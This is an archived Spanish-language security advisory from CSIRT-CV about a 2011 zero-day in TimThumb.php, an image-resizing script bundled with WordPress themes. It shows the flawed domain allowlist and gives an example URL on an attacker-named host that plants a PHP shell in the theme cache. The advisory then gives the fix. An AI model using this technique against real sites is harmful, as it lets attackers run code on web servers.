Está usted visitando una publicación en la hemeroteca de CSIRT-CV.
Para acceder al portal y contenido actual, visite https://www.csirtcv.gva.es
05/08/2011
Timthumb.php es un script sencillo y flexible que permite redimensionar imágenes y que viene con muchos temas de WordPress.Cuando TimThumb trata una imagen escribe en un directorio que es accesible vía web. El problema es que la utilidad no comprueba correctamente los dominios desde los que se les permite recibir la imagen:
$allowedSites = array ('flickr.com','
picasa.com',
'blogger.com',
'wordpress.com',
'img.youtube.com',
'upload.wikimedia.org',
'photobucket.com',);
De esta manera, podremos subir nuestro código simplemente especificando alguno de los dominios del array en la URL. Por ejemplo:
http://blogger.com.somebadhackersite.com/shell.php
El servidor de Wordpress cargará entonces el fichero y lo almacenará en el caché (/wp-content/themes/yourtheme/timthumbdir/cache/shell.php), de tal forma que podremos ejecutarlo desde el navegador y, en el caso de subir un shell, acceder a la máquina con los privilegios de la cuenta del servidor web...
Tener en cuenta que se trata de un 0-day bastante crítico ya que una búsqueda en Google indica la presencia de miles de estos scripts en la web...
Sistemas Afectados:Versiones anteiores a 1.34
Referencias:None
Solución:Actualizar a la última versión disponible (1.34), eliminar todos los dominios del array ($allowedSites = array();) si sólo se redimensionan imágenes locales, o borrarlo directamente si no se utiliza.
Notas:http://hackplayers.blogspot.com/2011/08/vulnerabilidad-0-day-en-timthumb-de.html
http://www.securityfocus.com/bid/48963/info
http://code.google.com/p/timthumb/issues/detail?id=212